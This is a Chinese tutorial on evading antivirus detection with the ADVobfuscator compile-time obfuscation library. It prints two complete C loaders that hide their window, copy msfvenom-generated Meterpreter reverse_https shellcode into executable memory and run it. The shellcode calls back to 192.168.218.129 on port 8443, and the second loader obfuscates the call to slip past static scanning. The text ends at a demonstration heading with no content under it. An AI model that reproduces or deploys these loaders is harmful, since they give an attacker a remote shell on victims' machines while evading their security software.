免杀基础–免杀工具ADVobfuscator

0x00 介绍

ADVobfuscator在编译时生成混淆代码，而无需使用任何外部工具，也无需修改编译器。它引入某种形式的随机性来生成多态代码，比如字符串文字的加密和使用有限状态机的调用混淆。这种对字符串和函数的处理，在对抗杀软的静态分析时非常简单直接。

项目地址：https://github.com/andrivet/ADVobfuscator

0x01 使用方法

ADVobfuscator作为一组源文件，使用时将其包含到我们的项目并调用相应的函数或宏。由于对函数的调用混淆需要将boost库，因此将boost一并加入外部包含，如下图所示。

0x02 代码实战

如下是c与语言版本的一个shellcode加载器

#include <windows.h>
#include <stdio.h>

//不显示窗口
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
#pragma comment(linker, "/INCREMENTAL:NO") 

//直接传入shellcode
//shellcode来自 msfvenom -p windows/x64/meterpreter/reverse_https LPORT=8443 LHOST=192.168.218.129 -f c  
unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x48\x31\xd2\x56\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x4d\x31\xc9\x48\x0f\xb7\x4a\x4a"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x48\x8b\x52\x20\x41\x51\x8b\x42\x3c\x48"
"\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b"
"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b"
"\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x4d\x31\xc9\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x48\x31\xc0\x41\xc1\xc9"
"\x0d\xac\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45"
"\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b"
"\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48"
"\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9"
"\x4b\xff\xff\xff\x5d\x48\x31\xdb\x53\x49\xbe\x77\x69\x6e\x69"
"\x6e\x65\x74\x00\x41\x56\x48\x89\xe1\x49\xc7\xc2\x4c\x77\x26"
"\x07\xff\xd5\x53\x53\x48\x89\xe1\x53\x5a\x4d\x31\xc0\x4d\x31"
"\xc9\x53\x53\x49\xba\x3a\x56\x79\xa7\x00\x00\x00\x00\xff\xd5"
"\xe8\x10\x00\x00\x00\x31\x39\x32\x2e\x31\x36\x38\x2e\x32\x31"
"\x38\x2e\x31\x32\x39\x00\x5a\x48\x89\xc1\x49\xc7\xc0\xfb\x20"
"\x00\x00\x4d\x31\xc9\x53\x53\x6a\x03\x53\x49\xba\x57\x89\x9f"
"\xc6\x00\x00\x00\x00\xff\xd5\xe8\x38\x00\x00\x00\x2f\x46\x4e"
"\x62\x72\x42\x4a\x76\x71\x49\x6c\x4e\x66\x6e\x46\x36\x65\x50"
"\x63\x6f\x78\x62\x51\x36\x38\x4e\x4c\x32\x76\x4d\x49\x38\x53"
"\x6e\x38\x6c\x57\x30\x45\x78\x78\x4b\x69\x64\x65\x59\x49\x66"
"\x62\x38\x65\x41\x33\x71\x74\x00\x48\x89\xc1\x53\x5a\x41\x58"
"\x4d\x31\xc9\x53\x48\xb8\x00\x32\xa8\x84\x00\x00\x00\x00\x50"
"\x53\x53\x49\xc7\xc2\xeb\x55\x2e\x3b\xff\xd5\x48\x89\xc6\x6a"
"\x0a\x5f\x48\x89\xf1\x6a\x1f\x5a\x52\x68\x80\x33\x00\x00\x49"
"\x89\xe0\x6a\x04\x41\x59\x49\xba\x75\x46\x9e\x86\x00\x00\x00"
"\x00\xff\xd5\x4d\x31\xc0\x53\x5a\x48\x89\xf1\x4d\x31\xc9\x4d"
"\x31\xc9\x53\x53\x49\xc7\xc2\x2d\x06\x18\x7b\xff\xd5\x85\xc0"
"\x75\x1f\x48\xc7\xc1\x88\x13\x00\x00\x49\xba\x44\xf0\x35\xe0"
"\x00\x00\x00\x00\xff\xd5\x48\xff\xcf\x74\x02\xeb\xaa\xe8\x55"
"\x00\x00\x00\x53\x59\x6a\x40\x5a\x49\x89\xd1\xc1\xe2\x10\x49"
"\xc7\xc0\x00\x10\x00\x00\x49\xba\x58\xa4\x53\xe5\x00\x00\x00"
"\x00\xff\xd5\x48\x93\x53\x53\x48\x89\xe7\x48\x89\xf1\x48\x89"
"\xda\x49\xc7\xc0\x00\x20\x00\x00\x49\x89\xf9\x49\xba\x12\x96"
"\x89\xe2\x00\x00\x00\x00\xff\xd5\x48\x83\xc4\x20\x85\xc0\x74"
"\xb2\x66\x8b\x07\x48\x01\xc3\x85\xc0\x75\xd2\x58\xc3\x58\x6a"
"\x00\x59\x49\xc7\xc2\xf0\xb5\xa2\x56\xff\xd5";

typedef void (__stdcall *CODE)();
  
void RunShellCode()
{

    PVOID p = NULL;
    if ((p = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)) == NULL)
        MessageBoxA(NULL, "申请内存失败", "提醒", MB_OK);
    if (!(memcpy(p, shellcode, sizeof(shellcode))))
        MessageBoxA(NULL, "写内存失败", "提醒", MB_OK);

    CODE code =(CODE)p;
    code();
}

int main()
{
    RunShellCode();
    return 0;
}

使用ADVobfuscator的版本,可以看到添加的代码就是对RunShellCode的混淆

#include <iostream>
#include <windows.h>
#include "MetaString.h"
#include "ObfuscatedCall.h"
#include "ObfuscatedCallWithPredicate.h"

//不显示窗口
#pragma comment(linker,"/subsystem:"windows" /entry:"mainCRTStartup"")
#pragma comment(linker, "/INCREMENTAL:NO")

//直接传入shellcode
//shellcode来自 msfvenom -p windows/x64/meterpreter/reverse_https LPORT=8443 LHOST=192.168.218.129 -f c  
unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x48\x31\xd2\x56\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x4d\x31\xc9\x48\x0f\xb7\x4a\x4a"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x48\x8b\x52\x20\x41\x51\x8b\x42\x3c\x48"
"\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b"
"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b"
"\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x4d\x31\xc9\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x48\x31\xc0\x41\xc1\xc9"
"\x0d\xac\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45"
"\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b"
"\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48"
"\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9"
"\x4b\xff\xff\xff\x5d\x48\x31\xdb\x53\x49\xbe\x77\x69\x6e\x69"
"\x6e\x65\x74\x00\x41\x56\x48\x89\xe1\x49\xc7\xc2\x4c\x77\x26"
"\x07\xff\xd5\x53\x53\x48\x89\xe1\x53\x5a\x4d\x31\xc0\x4d\x31"
"\xc9\x53\x53\x49\xba\x3a\x56\x79\xa7\x00\x00\x00\x00\xff\xd5"
"\xe8\x10\x00\x00\x00\x31\x39\x32\x2e\x31\x36\x38\x2e\x32\x31"
"\x38\x2e\x31\x32\x39\x00\x5a\x48\x89\xc1\x49\xc7\xc0\xfb\x20"
"\x00\x00\x4d\x31\xc9\x53\x53\x6a\x03\x53\x49\xba\x57\x89\x9f"
"\xc6\x00\x00\x00\x00\xff\xd5\xe8\x38\x00\x00\x00\x2f\x46\x4e"
"\x62\x72\x42\x4a\x76\x71\x49\x6c\x4e\x66\x6e\x46\x36\x65\x50"
"\x63\x6f\x78\x62\x51\x36\x38\x4e\x4c\x32\x76\x4d\x49\x38\x53"
"\x6e\x38\x6c\x57\x30\x45\x78\x78\x4b\x69\x64\x65\x59\x49\x66"
"\x62\x38\x65\x41\x33\x71\x74\x00\x48\x89\xc1\x53\x5a\x41\x58"
"\x4d\x31\xc9\x53\x48\xb8\x00\x32\xa8\x84\x00\x00\x00\x00\x50"
"\x53\x53\x49\xc7\xc2\xeb\x55\x2e\x3b\xff\xd5\x48\x89\xc6\x6a"
"\x0a\x5f\x48\x89\xf1\x6a\x1f\x5a\x52\x68\x80\x33\x00\x00\x49"
"\x89\xe0\x6a\x04\x41\x59\x49\xba\x75\x46\x9e\x86\x00\x00\x00"
"\x00\xff\xd5\x4d\x31\xc0\x53\x5a\x48\x89\xf1\x4d\x31\xc9\x4d"
"\x31\xc9\x53\x53\x49\xc7\xc2\x2d\x06\x18\x7b\xff\xd5\x85\xc0"
"\x75\x1f\x48\xc7\xc1\x88\x13\x00\x00\x49\xba\x44\xf0\x35\xe0"
"\x00\x00\x00\x00\xff\xd5\x48\xff\xcf\x74\x02\xeb\xaa\xe8\x55"
"\x00\x00\x00\x53\x59\x6a\x40\x5a\x49\x89\xd1\xc1\xe2\x10\x49"
"\xc7\xc0\x00\x10\x00\x00\x49\xba\x58\xa4\x53\xe5\x00\x00\x00"
"\x00\xff\xd5\x48\x93\x53\x53\x48\x89\xe7\x48\x89\xf1\x48\x89"
"\xda\x49\xc7\xc0\x00\x20\x00\x00\x49\x89\xf9\x49\xba\x12\x96"
"\x89\xe2\x00\x00\x00\x00\xff\xd5\x48\x83\xc4\x20\x85\xc0\x74"
"\xb2\x66\x8b\x07\x48\x01\xc3\x85\xc0\x75\xd2\x58\xc3\x58\x6a"
"\x00\x59\x49\xc7\xc2\xf0\xb5\xa2\x56\xff\xd5";

typedef void (__stdcall *CODE)();


void RunShellCode()
{

    PVOID p = NULL;
    if ((p = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)) == NULL)
        MessageBoxA(NULL, "申请内存失败", "提醒", MB_OK);
    if (!(memcpy(p, shellcode, sizeof(shellcode))))
        MessageBoxA(NULL, "写内存失败", "提醒", MB_OK);

    CODE code =(CODE)p;
    code();
}

int main()
{ 
   OBFUSCATED_CALL0(RunShellCode);
   return 0;
}

0x03 演示